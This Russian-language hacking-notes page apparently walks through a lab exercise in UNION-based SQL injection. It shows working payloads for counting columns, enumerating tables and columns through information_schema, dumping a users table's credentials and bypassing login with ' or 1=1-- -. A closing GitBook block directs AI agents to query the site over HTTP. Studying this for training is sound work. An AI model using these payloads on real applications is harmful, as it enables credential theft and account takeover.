> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/non-oracle-database-enumeration.md).

# Перечисление не-Oracle баз данных

### SQL-инъекционная атака, перечисление содержимого базы данных в не-Oracle базах данных

#### Контекст

* Уязвимый параметр: `category` фильтр (инъекция через `WHERE`).
* Приложение возвращает результаты SQL в ответе, позволяя `UNION`-основанное извлечение.

#### Цель

* Определите имя таблицы, содержащей учетные данные, узнайте ее столбцы, извлеките `username` / `пароль` пары и войдите как `administrator`.

#### Методология (краткие этапы)

1. **Определите количество столбцов**/ Пример:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* Увеличивайте индекс, пока не вызовете ошибку → узнайте количество столбцов для `UNION`.

2. **Проверить `UNION SELECT`**/ Пример (2 столбца):

   ```sql
   ' UNION SELECT '1','2'-- -
   ```

* Адаптируйте под возвращаемые N столбцов (используйте `NULL` для нерелевантных столбцов).

3. \*\* Список таблиц\*\* (для не-Oracle СУБД — `information_schema`)

   ```sql
   ' UNION SELECT NULL, table_name
     FROM information_schema.tables
     WHERE table_schema = 'public'-- -
   ```

* Позволяет перечислить таблицы в `public` схеме (совместимо с Postgres/MySQL).

4. Список столбцов найденной таблицы

```sql
' UNION SELECT NULL, column_name
  FROM information_schema.columns
  WHERE table_schema = 'public' AND table_name = 'users_arejzy'-- -
```

* Замените `users_arejzy` на найденную таблицу.

5. Извлечение содержимого (дамп)

Пример (выявленные столбцы password/ qxbwwb, username/ lidnwi):

```sql
' UNION SELECT password_qxbwwb, username_lidnwi
  FROM users_arejzy-- -
```

* Настройте порядок/тип столбцов в соответствии с уязвимым запросом (используйте `CAST`/`CONCAT`/`NULL` если необходимо).

6. Обход / вход

* После получения username = administrator и пароля войдите через страницу аутентификации.
* В качестве альтернативы используйте полезную нагрузку для обхода аутентификации, если таблица недоступна напрямую (например, username = ' or 1=1-- -), но для доказательства предпочтительнее прямая эксфильтрация.

#### Ожидаемый результат

* Список имен таблиц, столбцов, затем дамп учетных данных.
* Успешное подключение как `administrator` с использованием эксфильтрованных учетных данных.

#### Влияние

* Компрометация учетных записей (полная эскалация, если это admin), извлечение конфиденциальной информации, изменение/удаление данных, возможное вымогательство.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/sql-injection/non-oracle-database-enumeration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
